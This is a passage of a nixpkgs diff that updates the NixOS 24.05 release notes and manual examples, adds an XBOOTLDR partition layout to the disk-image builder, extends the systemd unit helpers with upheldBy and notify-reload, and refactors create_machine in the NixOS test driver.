a/nixos/doc/manual/development/writing-modules.chapter.md +++ b/nixos/doc/manual/development/writing-modules.chapter.md @@ -104,9 +104,8 @@ functions system environment substitution should *not* be disabled explicitly. ```nix { config, lib, pkgs, ... }: -with lib; - let + inherit (lib) concatStringsSep mkIf mkOption optionalString types; cfg = config.services.locate; in { options.services.locate = { @@ -163,9 +162,7 @@ in { ::: {#exec-escaping-example .example} ### Escaping in Exec directives ```nix -{ config, lib, pkgs, utils, ... }: - -with lib; +{ config, pkgs, utils, ... }: let cfg = config.services.echo; diff --git a/nixos/doc/manual/release-notes/rl-2405.section.md b/nixos/doc/manual/release-notes/rl-2405.section.md index 70ee02183f4fc..b60a2eb1c868b 100644 --- a/nixos/doc/manual/release-notes/rl-2405.section.md +++ b/nixos/doc/manual/release-notes/rl-2405.section.md @@ -16,15 +16,29 @@ In addition to numerous new and upgraded packages, this release has the followin - `linuxPackages_testing_bcachefs` is now fully deprecated by `linuxPackages_latest`, and is therefore no longer available. +- The default kernel package has been updated from 6.1 to 6.6. All supported kernels remain available. + - NixOS now installs a stub ELF loader that prints an informative error message when users attempt to run binaries not made for NixOS. - This can be disabled through the `environment.stub-ld.enable` option. - If you use `programs.nix-ld.enable`, no changes are needed. The stub will be disabled automatically. +- On flake-based NixOS configurations using `nixpkgs.lib.nixosSystem`, NixOS will automatically set `NIX_PATH` and the system-wide flake registry (`/etc/nix/registry.json`) to point `<nixpkgs>` and the unqualified flake path `nixpkgs` to the version of nixpkgs used to build the system. + + This makes `nix run nixpkgs#hello` and `nix-build '<nixpkgs>' -A hello` work out of the box with no added configuration, reusing dependencies already on the system. + + This may be undesirable if nix commands are not going to be run on the built system since it adds nixpkgs to the system closure. For such closure-size-constrained non-interactive systems, this setting should be disabled. + + To disable this, set [nixpkgs.flake.setNixPath](#opt-nixpkgs.flake.setNixPath) and [nixpkgs.flake.setFlakeRegistry](#opt-nixpkgs.flake.setFlakeRegistry) to false. + - Julia environments can now be built with arbitrary packages from the ecosystem using the `.withPackages` function. For example: `julia.withPackages ["Plots"]`. - A new option `systemd.sysusers.enable` was added. If enabled, users and groups are created with systemd-sysusers instead of with a custom perl script. +- A new option `virtualisation.containers.cdi` was added. It contains `static` and `dynamic` attributes (corresponding to `/etc/cdi` and `/run/cdi` respectively) to configure the Container Device Interface (CDI). + +- `virtualisation.docker.enableNvidia` and `virtualisation.podman.enableNvidia` options are deprecated. `virtualisation.containers.cdi.dynamic.nvidia.enable` should be used instead. This option will expose GPUs on containers with the `--device` CLI option. This is supported by Docker 25, Podman 3.2.0 and Singularity 4. Any container runtime that supports the CDI specification will take advantage of this feature. + - A new option `system.etc.overlay.enable` was added. If enabled, `/etc` is mounted via an overlayfs instead of being created by a custom perl script. @@ -38,6 +52,8 @@ In addition to numerous new and upgraded packages, this release has the followin } ``` +- Plasma 6 is now available and can be installed with `services.xserver.desktopManager.plasma6.enable = true;`. Plasma 5 will likely be deprecated in the next release (24.11). Note that Plasma 6 runs as Wayland by default, and the X11 session needs to be explicitly selected if necessary. + ## New Services {#sec-release-24.05-new-services} <!-- To avoid merge conflicts, consider adding your item at an arbitrary place in the list instead. --> @@ -62,39 +78,62 @@ In addition to numerous new and upgraded packages, this release has the followin - [hebbot](https://github.com/haecker-felix/hebbot), a Matrix bot to generate "This Week in X" like blog posts. Available as [services.hebbot](#opt-services.hebbot.enable). +- [Python Matter Server](https://github.com/home-assistant-libs/python-matter-server), a + Matter Controller Server exposing websocket connections for use with other services, notably Home Assistant. + Available as [services.matter-server](#opt-services.matter-server.enable) + - [Anki Sync Server](https://docs.ankiweb.net/sync-server.html), the official sync server built into recent versions of Anki. Available as [services.anki-sync-server](#opt-services.anki-sync-server.enable). The pre-existing [services.ankisyncd](#opt-services.ankisyncd.enable) has been marked deprecated and will be dropped after 24.05 due to lack of maintenance of the anki-sync-server softwares. +- [transfer-sh](https://github.com/dutchcoders/transfer.sh), a tool that supports easy and fast file sharing from the command-line. Available as [services.transfer-sh](#opt-services.transfer-sh.enable). + - [Suwayomi Server](https://github.com/Suwayomi/Suwayomi-Server), a free and open source manga reader server that runs extensions built for [Tachiyomi](https://tachiyomi.org). Available as [services.suwayomi-server](#opt-services.suwayomi-server.enable). - [ping_exporter](https://github.com/czerwonk/ping_exporter), a Prometheus exporter for ICMP echo requests. Available as [services.prometheus.exporters.ping](#opt-services.prometheus.exporters.ping.enable). - [TigerBeetle](https://tigerbeetle.com/), a distributed financial accounting database designed for mission critical safety and performance. Available as [services.tigerbeetle](#opt-services.tigerbeetle.enable). +- [go-camo](https://github.com/cactus/go-camo), a secure image proxy server. Available as [services.go-camo](#opt-services.go-camo.enable). + +- [Monado](https://monado.freedesktop.org/), an open source XR runtime. Available as [services.monado](#opt-services.monado.enable). + - [Clevis](https://github.com/latchset/clevis), a pluggable framework for automated decryption, used to unlock encrypted devices in initrd. Available as [boot.initrd.clevis.enable](#opt-boot.initrd.clevis.enable). +- [armagetronad](https://wiki.armagetronad.org), a mid-2000s 3D lightcycle game widely played at iD Tech Camps. You can define multiple servers using `services.armagetronad.<server>.enable`. + - [TuxClocker](https://github.com/Lurkki14/tuxclocker), a hardware control and monitoring program. Available as [programs.tuxclocker](#opt-programs.tuxclocker.enable). - [ALVR](https://github.com/alvr-org/alvr), a VR desktop streamer. Available as [programs.alvr](#opt-programs.alvr.enable) - [RustDesk](https://rustdesk.com), a full-featured open source remote control alternative for self-hosting and security with minimal configuration. Alternative to TeamViewer. +- [Scrutiny](https://github.com/AnalogJ/scrutiny), a S.M.A.R.T monitoring tool for hard disks with a web frontend. + - [systemd-lock-handler](https://git.sr.ht/~whynothugo/systemd-lock-handler/), a bridge between logind D-Bus events and systemd targets. Available as [services.systemd-lock-handler.enable](#opt-services.systemd-lock-handler.enable). +- [Mealie](https://nightly.mealie.io/), a self-hosted recipe manager and meal planner with a RestAPI backend and a reactive frontend application built in NuxtJS for a pleasant user experience for the whole family. Available as [services.mealie](#opt-services.mealie.enable) + ## Backward Incompatibilities {#sec-release-24.05-incompatibilities} <!-- To avoid merge conflicts, consider adding your item at an arbitrary place in the list instead. --> -- `himalaya` was updated to v1.0.0-beta, which introduces breaking changes. Check out the [release note](https://github.com/soywod/himalaya/releases/tag/v1.0.0-beta) for details. +- `himalaya` was updated to `v1.0.0-beta.3`, which introduces breaking changes. Check out the [release note](https://github.com/soywod/himalaya/releases/tag/v1.0.0-beta.3) for details. - The `power.ups` module now generates `upsd.conf`, `upsd.users` and `upsmon.conf` automatically from a set of new configuration options. This breaks compatibility with existing `power.ups` setups where these files were created manually. Back up these files before upgrading NixOS. +- `k3s` was updated to [v1.29](https://github.com/k3s-io/k3s/releases/tag/v1.29.1%2Bk3s2). See [changelog and upgrade notes](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.29.md#urgent-upgrade-notes) for more information. + - `k9s` was updated to v0.31. There have been various breaking changes in the config file format, check out the changelog of [v0.29](https://github.com/derailed/k9s/releases/tag/v0.29.0), [v0.30](https://github.com/derailed/k9s/releases/tag/v0.30.0) and [v0.31](https://github.com/derailed/k9s/releases/tag/v0.31.0) for details. It is recommended to back up your current configuration and let k9s recreate the new base configuration. +- The option `services.postgresql.ensureUsers._.ensurePermissions` has been removed as it's + not declarative and is broken with newer postgresql versions. Consider using + [](#opt-services.postgresql.ensureUsers._.ensureDBOwnership) + instead or a tool that's more suited for managing the data inside a postgresql database. + - `idris2` was updated to v0.7.0. This version introduces breaking changes. Check out the [changelog](https://github.com/idris-lang/Idris2/blob/v0.7.0/CHANGELOG.md#v070) for details. - `neo4j` has been updated to 5, you may want to read the [release notes for Neo4j 5](https://neo4j.com/release-notes/database/neo4j-5/) @@ -103,6 +142,8 @@ The pre-existing [services.ankisyncd](#opt-services.ankisyncd.enable) has been m - `nitter` requires a `guest_accounts.jsonl` to be provided as a path or loaded into the default location at `/var/lib/nitter/guest_accounts.jsonl`. See [Guest Account Branch Deployment](https://github.com/zedeus/nitter/wiki/Guest-Account-Branch-Deployment) for details. +- `boot.supportedFilesystems` and `boot.initrd.supportedFilesystems` are now attribute sets instead of lists. Assignment from lists as done previously is still supported, but checking whether a filesystem is enabled must now by done using `supportedFilesystems.fs or false` instead of using `lib.elem "fs" supportedFilesystems` as was done previously. + - `services.aria2.rpcSecret` has been replaced with `services.aria2.rpcSecretFile`. This was done so that secrets aren't stored in the world-readable nix store. To migrate, you will have create a file with the same exact string, and change @@ -116,6 +157,10 @@ The pre-existing [services.ankisyncd](#opt-services.ankisyncd.enable) has been m - `paperless`' `services.paperless.extraConfig` setting has been removed and converted to the freeform type and option named `services.paperless.settings`. +- `services.homepage-dashboard` now takes it's configuration using native Nix expressions, rather than dumping templated configurations into `/var/lib/homepage-dashboard` where they were previously managed manually. There are now new options which allow the configuration of bookmarks, services, widgets and custom CSS/JS natively in Nix. + +- `hare` may now be cross-compiled. For that to work, however, `haredoc` needed to stop being built together with it. Thus, the latter is now its own package with the name of `haredoc`. + - The legacy and long deprecated systemd target `network-interfaces.target` has been removed. Use `network.target` instead. - `services.frp.settings` now generates the frp configuration file in TOML format as [recommended by upstream](https://github.com/fatedier/frp#configuration-files), instead of the legacy INI format. This has also introduced other changes in the configuration file structure and options. @@ -128,6 +173,10 @@ The pre-existing [services.ankisyncd](#opt-services.ankisyncd.enable) has been m release notes of [v19](https://github.com/systemd/mkosi/releases/tag/v19) and [v20](https://github.com/systemd/mkosi/releases/tag/v20) for a list of changes. +- The `services.vikunja` systemd service now uses `vikunja` as dynamic user instead of `vikunja-api`. Database users might need to be changed. + +- The `services.vikunja.setupNginx` setting has been removed. Users now need to setup the webserver configuration on their own with a proxy pass to the vikunja service. + - The `woodpecker-*` packages have been updated to v2 which includes [breaking changes](https://woodpecker-ci.org/docs/next/migrations#200). - `services.nginx` will no longer advertise HTTP/3 availability automatically. This must now be manually added, preferably to each location block. @@ -153,6 +202,8 @@ The pre-existing [services.ankisyncd](#opt-services.ankisyncd.enable) has been m - The bundled Lua was updated to Lua v5.2, which includes breaking changes. See the [Lua manual](https://www.lua.org/manual/5.2/manual.html#8) for more information. - The WebSocket API [was rewritten](https://github.com/MCJack123/craftos2/issues/337), which introduced breaking changes. +- The `gtest` package has been updated past v1.13.0, which requires C++14 or higher. + - The latest available version of Nextcloud is v28 (available as `pkgs.nextcloud28`). The installation logic is as follows: - If [`services.nextcloud.package`](#opt-services.nextcloud.package) is specified explicitly, this package will be installed (**recommended**) - If [`system.stateVersion`](#opt-system.stateVersion) is >=24.05, `pkgs.nextcloud28` will be installed by default. @@ -163,12 +214,18 @@ The pre-existing [services.ankisyncd](#opt-services.ankisyncd.enable) has been m - The `cudaPackages` package scope has been updated to `cudaPackages_12`. +- Ada packages (libraries and tools) have been moved into the `gnatPackages` scope. `gnatPackages` uses the default GNAT compiler, `gnat12Packages` and `gnat13Packages` use the respective matching compiler version. + +- `spark2014` has been renamed to `gnatprove`. A version of `gnatprove` matching different GNAT versions is available from the different `gnatPackages` sets. + - `services.resolved.fallbackDns` can now be used to disable the upstream fallback servers entirely by setting it to an empty list. To get the previous behaviour of the upstream defaults set it to null, the new default, instead. - `xxd` has been moved from `vim` default output to its own output to reduce closure size. The canonical way to reference it across all platforms is `unixtools.xxd`. - The `stalwart-mail` package has been updated to v0.5.3, which includes [breaking changes](https://github.com/stalwartlabs/mail-server/blob/v0.5.3/UPGRADING.md). +- `services.zope2` has been removed as `zope2` is unmaintained and was relying on Python2. + - `services.avahi.nssmdns` got split into `services.avahi.nssmdns4` and `services.avahi.nssmdns6` which enable the mDNS NSS switch for IPv4 and IPv6 respectively. Since most mDNS responders only register IPv4 addresses, most users want to keep the IPv6 support disabled to avoid long timeouts. @@ -177,6 +234,8 @@ The pre-existing [services.ankisyncd](#opt-services.ankisyncd.enable) has been m `wants`), because the dependency that `multi-user.target` has on `network-online.target` is planned for removal. +- `services.pgbouncer` now has systemd support enabled and will log to journald. The default setting for `services.pgbouncer.logFile` is now `null` to disable logging to a separate log file. + - `services.archisteamfarm` no longer uses the abbreviation `asf` for its state directory (`/var/lib/asf`), user and group (both `asf`). Instead the long name `archisteamfarm` is used. Configurations with `system.stateVersion` 23.11 or earlier, default to the old stateDirectory until the 24.11 release and must either set the option explicitly or move the data to the new directory. @@ -249,6 +308,10 @@ The pre-existing [services.ankisyncd](#opt-services.ankisyncd.enable) has been m - Cinnamon has been updated to 6.0. Please beware that the [Wayland session](https://blog.linuxmint.com/?p=4591) is still experimental in this release. +- New `boot.loader.systemd-boot.xbootldrMountPoint` allows setting up a separate [XBOOTLDR partition](https://uapi-group.org/specifications/specs/boot_loader_specification/) to store boot files. Useful on systems with a small EFI System partition that cannot be easily repartitioned. + +- `boot.loader.systemd-boot` will now verify that `efiSysMountPoint` (and `xbootldrMountPoint` if configured) are mounted partitions. + - `services.postgresql.extraPlugins` changed its type from just a list of packages to also a function that returns such a list. For example a config line like ``services.postgresql.extraPlugins = with pkgs.postgresql_11.pkgs; [ postgis ];`` is recommended to be changed to ``services.postgresql.extraPlugins = ps: with ps; [ postgis ];``; @@ -337,6 +400,8 @@ The pre-existing [services.ankisyncd](#opt-services.ankisyncd.enable) has been m - The `services.paperless` module no longer uses the previously downloaded NLTK data stored in `/var/cache/paperless/nltk`. This directory can be removed. +- The `services.teeworlds` module now has a wealth of configuration options, including a new `package` option. + - The `hardware.pulseaudio` module now sets permission of pulse user home directory to 755 when running in "systemWide" mode. It fixes [issue 114399](https://github.com/NixOS/nixpkgs/issues/114399). - The module `services.github-runner` has been removed. To configure a single GitHub Actions Runner refer to `services.github-runners.*`. Note that this will trigger a new runner registration. @@ -348,6 +413,11 @@ The pre-existing [services.ankisyncd](#opt-services.ankisyncd.enable) has been m - The `mpich` package expression now requires `withPm` to be a list, e.g. `"hydra:gforker"` becomes `[ "hydra" "gforker" ]`. +- When merging systemd unit options (of type `unitOption`), + if at least one definition is a list, all those which aren't are now lifted into a list, + making it possible to accumulate definitions without resorting to `mkForce`, + hence to retain the definitions not anticipating that need. + - YouTrack is bumped to 2023.3. The update is not performed automatically, it requires manual interaction. See the YouTrack section in the manual for details. - QtMultimedia has changed its default backend to `QT_MEDIA_BACKEND=ffmpeg` (previously `gstreamer` on Linux or `darwin` on MacOS). diff --git a/nixos/lib/make-disk-image.nix b/nixos/lib/make-disk-image.nix index 1a33abd01ea18..9bdbf4e0713de 100644 --- a/nixos/lib/make-disk-image.nix +++ b/nixos/lib/make-disk-image.nix @@ -56,6 +56,14 @@ This partition table type uses GPT and: - creates an FAT32 ESP partition from 8MiB to specified `bootSize` parameter (256MiB by default), set it bootable ; - creates an primary ext4 partition starting after the boot partition and extending to the full disk image +#### `efixbootldr` + +This partition table type uses GPT and: + +- creates an FAT32 ESP partition from 8MiB to 100MiB, set it bootable ; +- creates an FAT32 BOOT partition from 100MiB to specified `bootSize` parameter (256MiB by default), set `bls_boot` flag ; +- creates an primary ext4 partition starting after the boot partition and extending to the full disk image + #### `hybrid` This partition table type uses GPT and: @@ -111,19 +119,7 @@ To solve this, you can run `fdisk -l $image` and generate `dd if=$image of=$imag # When setting one of `user' or `group', the other needs to be set too. contents ? [] -, # Type of partition table to use; either "legacy", "efi", or "none". - # For "efi" images, the GPT partition table is used and a mandatory ESP - # partition of reasonable size is created in addition to the root partition. - # For "legacy", the msdos partition table is used and a single large root - # partition is created. - # For "legacy+gpt", the GPT partition table is used, a 1MiB no-fs partition for - # use by the bootloader is created, and a single large root partition is - # created. - # For "hybrid", the GPT partition table is used and a mandatory ESP - # partition of reasonable size is created in addition to the root partition. - # Also a legacy MBR will be present. - # For "none", no partition table is created. Enabling `installBootLoader` - # most likely fails as GRUB will probably refuse to install. +, # Type of partition table to use; described in the `Image Partitioning` section above. partitionTableType ? "legacy" , # Whether to invoke `switch-to-configuration boot` during image creation @@ -193,11 +189,11 @@ To solve this, you can run `fdisk -l $image` and generate `dd if=$image of=$imag additionalPaths ? [] }: -assert (lib.assertOneOf "partitionTableType" partitionTableType [ "legacy" "legacy+gpt" "efi" "hybrid" "none" ]); +assert (lib.assertOneOf "partitionTableType" partitionTableType [ "legacy" "legacy+gpt" "efi" "efixbootldr" "hybrid" "none" ]); assert (lib.assertMsg (fsType == "ext4" && deterministic -> rootFSUID != null) "In deterministic mode with a ext4 partition, rootFSUID must be non-null, by default, it is equal to rootGPUID."); # We use -E offset=X below, which is only supported by e2fsprogs assert (lib.assertMsg (partitionTableType != "none" -> fsType == "ext4") "to produce a partition table, we need to use -E offset flag which is support only for fsType = ext4"); -assert (lib.assertMsg (touchEFIVars -> partitionTableType == "hybrid" || partitionTableType == "efi" || partitionTableType == "legacy+gpt") "EFI variables can be used only with a partition table of type: hybrid, efi or legacy+gpt."); +assert (lib.assertMsg (touchEFIVars -> partitionTableType == "hybrid" || partitionTableType == "efi" || partitionTableType == "efixbootldr" || partitionTableType == "legacy+gpt") "EFI variables can be used only with a partition table of type: hybrid, efi, efixbootldr, or legacy+gpt."); # If only Nix store image, then: contents must be empty, configFile must be unset, and we should no install bootloader. assert (lib.assertMsg (onlyNixStore -> contents == [] && configFile == null && !installBootLoader) "In a only Nix store image, the contents must be empty, no configuration must be provided and no bootloader should be installed."); # Either both or none of {user,group} need to be set @@ -225,6 +221,7 @@ let format' = format; in let legacy = "1"; "legacy+gpt" = "2"; efi = "2"; + efixbootldr = "3"; hybrid = "3"; }.${partitionTableType}; @@ -266,6 +263,23 @@ let format' = format; in let $diskImage ''} ''; + efixbootldr = '' + parted --script $diskImage -- \ + mklabel gpt \ + mkpart ESP fat32 8MiB 100MiB \ + set 1 boot on \ + mkpart BOOT fat32 100MiB ${bootSize} \ + set 2 bls_boot on \ + mkpart ROOT ext4 ${bootSize} -1 + ${optionalString deterministic '' + sgdisk \ + --disk-guid=97FD5997-D90B-4AA3-8D16-C1723AEA73C \ + --partition-guid=1:1C06F03B-704E-4657-B9CD-681A087A2FDC \ + --partition-guid=2:970C694F-AFD0-4B99-B750-CDB7A329AB6F \ + --partition-guid=3:${rootGPUID} \ + $diskImage + ''} + ''; hybrid = '' parted --script $diskImage -- \ mklabel gpt \ @@ -436,7 +450,7 @@ let format' = format; in let diskImage=nixos.raw ${if diskSize == "auto" then '' - ${if partitionTableType == "efi" || partitionTableType == "hybrid" then '' + ${if partitionTableType == "efi" || partitionTableType == "efixbootldr" || partitionTableType == "hybrid" then '' # Add the GPT at the end gptSpace=$(( 512 * 34 * 1 )) # Normally we'd need to account for alignment and things, if bootSize @@ -536,6 +550,9 @@ let format' = format; in let concatStringsSep " " (lib.optional useEFIBoot "-drive if=pflash,format=raw,unit=0,readonly=on,file=${efiFirmware}" ++ lib.optionals touchEFIVars [ "-drive if=pflash,format=raw,unit=1,file=$efiVars" + ] ++ lib.optionals (OVMF.systemManagementModeRequired or false) [ + "-machine" "q35,smm=on" + "-global" "driver=cfi.pflash01,property=secure,value=on" ] ); inherit memSize; @@ -567,6 +584,15 @@ let format' = format; in let ${optionalString touchEFIVars "mount -t efivarfs efivarfs /sys/firmware/efi/efivars"} ''} + ${optionalString (partitionTableType == "efixbootldr") '' + mkdir -p /mnt/{boot,efi} + mkfs.vfat -n ESP /dev/vda1 + mkfs.vfat -n BOOT /dev/vda2 + mount /dev/vda1 /mnt/efi + mount /dev/vda2 /mnt/boot + + ${optionalString touchEFIVars "mount -t efivarfs efivarfs /sys/firmware/efi/efivars"} + ''} # Install a configuration.nix mkdir -p /mnt/etc/nixos @@ -583,6 +609,13 @@ let format' = format; in let ''} # Set up core system link, bootloader (sd-boot, GRUB, uboot, etc.), etc. + + # NOTE: systemd-boot-builder.py calls nix-env --list-generations which + # clobbers $HOME/.nix-defexpr/channels/nixos This would cause a folder + # /homeless-shelter to show up in the final image which in turn breaks + # nix builds in the target image if sandboxing is turned off (through + # __noChroot for example). + export HOME=$TMPDIR NIXOS_INSTALL_BOOTLOADER=1 nixos-enter --root $mountPoint -- /nix/var/nix/profiles/system/bin/switch-to-configuration boot # The above scripts will generate a random machine-id and we don't want to bake a single ID into all our images diff --git a/nixos/lib/systemd-lib.nix b/nixos/lib/systemd-lib.nix index c9cca619ed70a..ef218e674ebf1 100644 --- a/nixos/lib/systemd-lib.nix +++ b/nixos/lib/systemd-lib.nix @@ -378,7 +378,7 @@ in rec { ''; targetToUnit = name: def: - { inherit (def) aliases wantedBy requiredBy enable overrideStrategy; + { inherit (def) aliases wantedBy requiredBy upheldBy enable overrideStrategy; text = '' [Unit] @@ -387,7 +387,7 @@ in rec { }; serviceToUnit = name: def: - { inherit (def) aliases wantedBy requiredBy enable overrideStrategy; + { inherit (def) aliases wantedBy requiredBy upheldBy enable overrideStrategy; text = commonUnitText def ('' [Service] '' + (let env = cfg.globalEnvironment // def.environment; @@ -408,7 +408,7 @@ in rec { }; socketToUnit = name: def: - { inherit (def) aliases wantedBy requiredBy enable overrideStrategy; + { inherit (def) aliases wantedBy requiredBy upheldBy enable overrideStrategy; text = commonUnitText def '' [Socket] ${attrsToSection def.socketConfig} @@ -418,7 +418,7 @@ in rec { }; timerToUnit = name: def: - { inherit (def) aliases wantedBy requiredBy enable overrideStrategy; + { inherit (def) aliases wantedBy requiredBy upheldBy enable overrideStrategy; text = commonUnitText def '' [Timer] ${attrsToSection def.timerConfig} @@ -426,7 +426,7 @@ in rec { }; pathToUnit = name: def: - { inherit (def) aliases wantedBy requiredBy enable overrideStrategy; + { inherit (def) aliases wantedBy requiredBy upheldBy enable overrideStrategy; text = commonUnitText def '' [Path] ${attrsToSection def.pathConfig} @@ -434,7 +434,7 @@ in rec { }; mountToUnit = name: def: - { inherit (def) aliases wantedBy requiredBy enable overrideStrategy; + { inherit (def) aliases wantedBy requiredBy upheldBy enable overrideStrategy; text = commonUnitText def '' [Mount] ${attrsToSection def.mountConfig} @@ -442,7 +442,7 @@ in rec { }; automountToUnit = name: def: - { inherit (def) aliases wantedBy requiredBy enable overrideStrategy; + { inherit (def) aliases wantedBy requiredBy upheldBy enable overrideStrategy; text = commonUnitText def '' [Automount] ${attrsToSection def.automountConfig} @@ -450,7 +450,7 @@ in rec { }; sliceToUnit = name: def: - { inherit (def) aliases wantedBy requiredBy enable overrideStrategy; + { inherit (def) aliases wantedBy requiredBy upheldBy enable overrideStrategy; text = commonUnitText def '' [Slice] ${attrsToSection def.sliceConfig} diff --git a/nixos/lib/systemd-unit-options.nix b/nixos/lib/systemd-unit-options.nix index df05d165d9e85..e4953ba72dd92 100644 --- a/nixos/lib/systemd-unit-options.nix +++ b/nixos/lib/systemd-unit-options.nix @@ -6,7 +6,7 @@ with lib; let checkService = checkUnitConfig "Service" [ (assertValueOneOf "Type" [ - "exec" "simple" "forking" "oneshot" "dbus" "notify" "idle" + "exec" "simple" "forking" "oneshot" "dbus" "notify" "notify-reload" "idle" ]) (assertValueOneOf "Restart" [ "no" "on-success" "on-failure" "on-abnormal" "on-abort" "always" @@ -21,14 +21,8 @@ in rec { let defs' = filterOverrides defs; in - if isList (head defs').value - then concatMap (def: - if builtins.typeOf def.value == "list" - then def.value - else - throw "The definitions for systemd unit options should be either all lists, representing repeatable options, or all non-lists, but for the option ${showOption loc}, the definitions are a mix of list and non-list ${lib.options.showDefs defs'}" - ) defs' - + if any (def: isList def.value) defs' + then concatMap (def: toList def.value) defs' else mergeEqualOption loc defs'; }; diff --git a/nixos/lib/test-driver/pyproject.toml b/nixos/lib/test-driver/pyproject.toml index 8638f14dfdaef..17b7130a4bad7 100644 --- a/nixos/lib/test-driver/pyproject.toml +++ b/nixos/lib/test-driver/pyproject.toml @@ -37,7 +37,6 @@ target-version = ['py39'] include = '\.pyi?$' [tool.mypy] -python_version = "3.10" warn_redundant_casts = true disallow_untyped_calls = true disallow_untyped_defs = true diff --git a/nixos/lib/test-driver/test_driver/driver.py b/nixos/lib/test-driver/test_driver/driver.py index 786821b0cc0d6..f792c04591996 100644 --- a/nixos/lib/test-driver/test_driver/driver.py +++ b/nixos/lib/test-driver/test_driver/driver.py @@ -7,11 +7,15 @@ from contextlib import contextmanager from pathlib import Path from typing import Any, Callable, ContextManager, Dict, Iterator, List, Optional, Union +from colorama import Fore, Style + from test_driver.logger import rootlog from test_driver.machine import Machine, NixStartScript, retry from test_driver.polling_condition import PollingCondition from test_driver.vlan import VLan +SENTINEL = object() + def get_tmp_dir() -> Path: """Returns a temporary directory that is defined by TMPDIR, TEMP, TMP or CWD @@ -187,23 +191,61 @@ class Driver: # to swallow them and prevent itself from terminating. os.kill(os.getpid(), signal.SIGTERM) - def create_machine(self, args: Dict[str, Any]) -> Machine: + def create_machine( + self, + start_command: str | dict, + *, + name: Optional[str] = None, + keep_vm_state: bool = False, + ) -> Machine: + # Legacy args handling + # FIXME: remove after 24.05 + if isinstance(start_command, dict): + if name is not None or keep_vm_state: + raise TypeError( + "Dictionary passed to create_machine must be the only argument" + ) + + args = start_command + start_command = args.pop("startCommand", SENTINEL) + + if start_command is SENTINEL: + raise TypeError( + "Dictionary passed to create_machine must contain startCommand" + ) + + if not isinstance(start_command, str): + raise TypeError( + f"startCommand must be a string, got: {repr(start_command)}" + ) + + name = args.pop("name", None) + keep_vm_state = args.pop("keep_vm_state", False) + + if args: + raise TypeError( + f"Unsupported arguments passed to create_machine: {args}" + ) + + rootlog.warning( + Fore.YELLOW + + Style.BRIGHT + + "WARNING: Using create_machine with a single dictionary argument is deprecated and will be removed in NixOS 24.11" + + Style.RESET_ALL + ) + # End legacy args handling + tmp_dir = get_tmp_dir() - if args.get("startCommand"): - start_command: str = args.get("startCommand", "") - cmd = NixStartScript(start_command) - name = args.get("name", cmd.machine_name) - else: - cmd = Machine.create_startcommand(args) # type: ignore - name = args.get("name", "machine") + cmd = NixStartScript(start_command) + name = name or cmd.machine_name return Machine( tmp_dir=tmp_dir, out_dir=self.out_dir, start_command=cmd, name=name, - keep_vm_state=args.get("keep_vm_state", False), + keep_vm_state=keep_vm_state, ) def serial_stdout_on(self) -> None: diff --git a/nixos/lib/test-driver/test_driver/machine.py b/nixos/lib/test-driver/test_driver/machine.py index 93411a4a348e1..df8628bce9568 100644 --- a/nixos/lib/test-driver/test_driver/machine.py +++ b/nixos/lib/test-driver/test_driver/machine.py @@ -208,7 +208,6 @@ class StartCommand: ), stdin=subprocess.PIPE, stdout=subprocess.PIPE, - stderr=subprocess.STDOUT, shell=True, cwd=state_dir, env=self.build_environment(state_dir, shared_dir), @@ -235,77 +234,6 @@ class NixStartScript(StartCommand): return name -class LegacyStartCommand(StartCommand): - """Used in some places to create an ad-hoc machine instead of - using nix test instrumentation + module system for that purpose. - Legacy. - """ - - def __init__( - self, - netBackendArgs: Optional[str] = None, # noqa: N803 - netFrontendArgs: Optional[str] = None, # noqa: N803 - hda: Optional[Tuple[Path, str]] = None, - cdrom: Optional[str] = None, - usb: Optional[str] = None, - bios: Optional[str] = None, - qemuBinary: Optional[str] = None, # noqa: N803 - qemuFlags: Optional[str] = None, # noqa: N803 - ): - if qemuBinary is not None: - self._cmd = qemuBinary - else: - self._cmd = "qemu-kvm" - - self._cmd += " -m 384" - - # networking - net_backend = "-netdev user,id=net0" - net_frontend = "-device virtio-net-pci,netdev=net0" - if netBackendArgs is not None: - net_backend += "," + netBackendArgs - if netFrontendArgs is not None: - net_frontend += "," + netFrontendArgs - self._cmd += f" {net_backend} {net_frontend}" - - # hda - hda_cmd = "" - if hda is not None: - hda_path = hda[0].resolve() - hda_interface = hda[1] - if hda_interface == "scsi": - hda_cmd += ( - f" -drive id=hda,file={hda_path},werror=report,if=none" - " -device scsi-hd,drive=hda" - ) - else: - hda_cmd += f" -drive file={hda_path},if={hda_interface},werror=report" - self._cmd += hda_cmd - - # cdrom - if cdrom is not None: - self._cmd += f" -cdrom {cdrom}" - - # usb - usb_cmd = "" - if usb is not None: - # https://github.com/qemu/qemu/blob/master/docs/usb2.txt - usb_cmd += ( - " -device usb-ehci" - f" -drive id=usbdisk,file={usb},if=none,readonly" - " -device usb-storage,drive=usbdisk " - ) - self._cmd += usb_cmd - - # bios - if bios is not None: - self._cmd += f" -bios {bios}" - - # qemu flags - if qemuFlags is not None: - self._cmd += f" {qemuFlags}" - - class Machine: """A handle to the machine with this name, that also knows how to manage the machine lifecycle with the help of a start script / command.""" @@ -377,29 +305,6 @@ class Machine: self.booted = False self.connected = False - @staticmethod - def create_startcommand(args: Dict[str, str]) -> StartCommand: - rootlog.warning( - "Using legacy create_startcommand(), " - "please use proper nix test vm instrumentation, instead " - "to generate the appropriate nixos test vm qemu startup script" - ) - hda = None - if args.get("hda"): - hda_arg: str = args.get("hda", "") - hda_arg_path: Path = Path(hda_arg) - hda = (hda_arg_path, args.get("hdaInterface", "")) - return LegacyStartCommand( - netBackendArgs=args.get("netBackendArgs"), - netFrontendArgs=args.get("netFrontendArgs"), - hda=hda, - cdrom=args.get("cdrom"), - usb=args.get("usb"), - bios=args.get("bios"), - qemuBinary=args.get("qemuBinary"), - qemuFlags=args.get("qemuFlags"), - ) - def is_up(self) -> bool: return self.booted and self.connected diff --git a/nixos/lib/test-script-prepend.py b/nixos/lib/test-script-prepend.py index 15e59ce01047d..976992ea00158 100644 --- a/nixos/lib/test-script-prepend.py +++ b/nixos/lib/test-script-prepend.py @@ -26,6 +26,17 @@ class PollingConditionProtocol(Protocol): raise Exception("This is just type information for the Nix test driver") +class CreateMachineProtocol(Protocol): + def __call__( + self, + start_command: str | dict, + *, + name: Optional[str] = None, + keep_vm_state: bool = False, + ) -> Machine: + raise Exception("This is just type information for the Nix test driver") + + start_all: Callable[[], None] subtest: Callable[[str], ContextManager[None]] retry: RetryProtocol @@ -34,7 +45,7 @@ machines: List[Machine] vlans: List[VLan] driver: Driver log: Logger -create_machine: Callable[[Dict[str, Any]], Machine] +create_machine: CreateMachineProtocol 